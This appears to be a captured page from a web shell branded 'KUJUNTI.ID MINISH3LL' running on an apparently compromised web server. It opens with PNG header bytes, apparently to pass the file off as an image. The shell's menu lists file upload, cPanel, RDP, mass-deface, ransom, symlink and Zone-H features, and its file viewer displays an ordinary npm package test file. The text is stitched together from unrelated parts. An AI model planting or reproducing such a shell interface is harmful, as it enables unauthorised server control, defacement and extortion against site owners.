\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/infraai.ai/frontend/node_modules/node-exports-info/test/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/infraai.ai/frontend/node_modules/node-exports-info/test/getConditionsForCategory.js


'use strict';

var test = require('tape');
var forEach = require('for-each');

var getConditionsForCategory = require('../getConditionsForCategory');
var getRangePairs = require('../getRangePairs');

test('getConditionsForCategory', function (t) {
	t['throws'](
		// @ts-expect-error
		function () { getConditionsForCategory('not a category'); },
		RangeError,
		'invalid category throws'
	);

	forEach(getRangePairs(), function (pair) {
		var category = pair[1];
		t.test('category: ' + category, function (st) {
			if (category === 'broken' || category === 'pre-exports') {
				st.equal(
					getConditionsForCategory(category),
					null,
					'category that does not support conditions, yields null'
				);
			} else {
				var conditions = getConditionsForCategory(category);
				st.ok(Array.isArray(conditions), 'moduleSystem none: returns an array');

				var requireConditions = getConditionsForCategory(category, 'require');
				st.ok(Array.isArray(requireConditions), 'moduleSystem require: returns an array');

				var importConditions = getConditionsForCategory(category, 'import');
				st.ok(Array.isArray(importConditions), 'moduleSystem import: returns an array');

				st['throws'](
					// @ts-expect-error
					function () { getConditionsForCategory(category, 'not a thing'); },
					TypeError,
					'invalid moduleSystem throws'
				);
			}

			st.end();
		});
	});

	t.end();
});

© KUJUNTI.ID